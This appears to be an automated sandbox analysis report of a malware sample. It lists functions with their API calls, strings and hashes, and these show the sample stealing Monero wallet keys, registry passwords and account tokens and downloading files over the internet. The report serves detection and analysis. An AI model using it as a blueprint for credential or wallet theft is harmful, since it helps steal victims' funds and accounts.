Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00D71465

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D799EC
Part of subcall function 00D799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D79A11
Part of subcall function 00D799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D79A31
Part of subcall function 00D799C0: ReadFile.KERNEL32(000000FF,?,00000000,00D7148F,00000000), ref: 00D79A5A
Part of subcall function 00D799C0: LocalFree.KERNEL32(00D7148F), ref: 00D79A90
Part of subcall function 00D799C0: CloseHandle.KERNEL32(000000FF), ref: 00D79A9A

DeleteFileA.KERNEL32(00000000), ref: 00D714EF

Strings

wallet_path, xrefs: 00D71330
\Monero\wallet.keys, xrefs: 00D7138D
.keys, xrefs: 00D7136B
SOFTWARE\monero-project\monero-core, xrefs: 00D71335

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 9590d2245ac96a7686b877d298270b8ee7d95b61831b3d8ef41dca1c7ff7844f
Instruction ID: bc31854e20e40305c8f71535041dab496035020b66f54ab480075bba9ad7c542
Opcode Fuzzy Hash: 9590d2245ac96a7686b877d298270b8ee7d95b61831b3d8ef41dca1c7ff7844f
Instruction Fuzzy Hash: 895141B19501195BDB15FB64DD96FED733CEF54300F404199B60A62082EE346B8ACFB6

Function 00D775D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D772D0: memset.MSVCRT ref: 00D77314
Part of subcall function 00D772D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00D7733A
Part of subcall function 00D772D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D773B1
Part of subcall function 00D772D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D7740D
Part of subcall function 00D772D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00D77452
Part of subcall function 00D772D0: HeapFree.KERNEL32(00000000), ref: 00D77459

lstrcat.KERNEL32(3606D020,00D917FC), ref: 00D77606
lstrcat.KERNEL32(3606D020,00000000), ref: 00D77648
lstrcat.KERNEL32(3606D020, : ), ref: 00D7765A
lstrcat.KERNEL32(3606D020,00000000), ref: 00D7768F
lstrcat.KERNEL32(3606D020,00D91804), ref: 00D776A0
lstrcat.KERNEL32(3606D020,00000000), ref: 00D776D3
lstrcat.KERNEL32(3606D020,00D91808), ref: 00D776ED
task.LIBCPMTD ref: 00D776FB

Strings

: , xrefs: 00D7764E

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 6428b0c806815dadf8201eda90964e802c48c8568b56790d8835d089bb5f353c
Instruction ID: bc0dd37498bb03c898d01ef6254e24b21618cbf254e83c7754db3ce982fd53e8
Opcode Fuzzy Hash: 6428b0c806815dadf8201eda90964e802c48c8568b56790d8835d089bb5f353c
Instruction Fuzzy Hash: 62314DB1940109EFCB04EBB8DC99DFE7375FB44301B148618E106A7294EA34A946EF71

Function 00D772D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D77314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00D7733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D773B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D7740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00D77452
HeapFree.KERNEL32(00000000), ref: 00D77459
task.LIBCPMTD ref: 00D77555

Strings

Password, xrefs: 00D77401

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 0117f0958b853c30436611341c889b4ceb0c43c0477a012c6301eeae6818fa45
Instruction ID: 6113ace71e46be55f3e1ddc7e268b82d6e5668b5cfb87a018b97bc9f00537d4a
Opcode Fuzzy Hash: 0117f0958b853c30436611341c889b4ceb0c43c0477a012c6301eeae6818fa45
Instruction Fuzzy Hash: CD6109B59042689BDB24DB50CC95BD9B7B8FF44304F0085E9E68DA6141EBB09AC9CFB1

Function 00D87500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00D87542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D8757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87603
RtlAllocateHeap.NTDLL(00000000), ref: 00D8760A
wsprintfA.USER32 ref: 00D87640

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Strings

\, xrefs: 00D87560
:, xrefs: 00D8755C
C, xrefs: 00D8754C

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: d309f5d3a5aeed7c07509b3194e4d6ffd12d845342d06b39b83f560f48674dae
Instruction ID: 93684022f60b4b711848847d477c14a85d4c8c61047d594901ae22960daded82
Opcode Fuzzy Hash: d309f5d3a5aeed7c07509b3194e4d6ffd12d845342d06b39b83f560f48674dae
Instruction Fuzzy Hash: 1C4180B1D04248ABDB10EF94DC85BEEBBB8EF08700F140199F50967280DB78AA44CFB5

Function 00D88100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01B0ECA8,00000000,?,00D90E2C,00000000,?,00000000), ref: 00D88130
RtlAllocateHeap.NTDLL(00000000), ref: 00D88137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00D88158
__aulldiv.LIBCMT ref: 00D88172
__aulldiv.LIBCMT ref: 00D88180
wsprintfA.USER32 ref: 00D881AC

Strings

%d MB, xrefs: 00D881A3
@, xrefs: 00D8814D

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 3a880f0b5b19034e50a3ee401894d9c91f109e59d22ad69c0b38a261465654f6
Instruction ID: 6abb47ee72f68bdad04e9dc0dcf08b32665f60dc02ee58bad3106f366ef5bcfb
Opcode Fuzzy Hash: 3a880f0b5b19034e50a3ee401894d9c91f109e59d22ad69c0b38a261465654f6
Instruction Fuzzy Hash: C421FCB1E44218ABDB04DFD4CC49FAEB779EB44710F104609F615BB2C0D77899018BA5

Function 00D760A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D74839
Part of subcall function 00D747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D74849

InternetOpenA.WININET(00D90DF7,00000001,00000000,00000000,00000000), ref: 00D7610F
StrCmpCA.SHLWAPI(?,01B0F3D8), ref: 00D76147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00D7618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00D761B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00D761DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D7620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00D76249
InternetCloseHandle.WININET(?), ref: 00D76253
InternetCloseHandle.WININET(00000000), ref: 00D76260

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 13f4a7a0e5c87d7ddebff9be87435cd11f3a250c498ae8b4eeeba32976f0134f
Instruction ID: 9829f9cc9e2e1ee21d12bccea04d436ca7b0a112959eb4d6012a42b203c78679
Opcode Fuzzy Hash: 13f4a7a0e5c87d7ddebff9be87435cd11f3a250c498ae8b4eeeba32976f0134f
Instruction Fuzzy Hash: 60516271900618AFDB20DF50DC89BEE77B8EB44701F508198B609A71C1EB74AA89DFB5

Function 00D7BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

lstrlen.KERNEL32(00000000), ref: 00D7BC9F

Part of subcall function 00D88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D88E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00D7BCCD
lstrlen.KERNEL32(00000000), ref: 00D7BDA5
lstrlen.KERNEL32(00000000), ref: 00D7BDB9

Strings

AccountId, xrefs: 00D7BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00D7BBEB
AccountTokens, xrefs: 00D7BB49
AccountTokens, xrefs: 00D7BABA

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
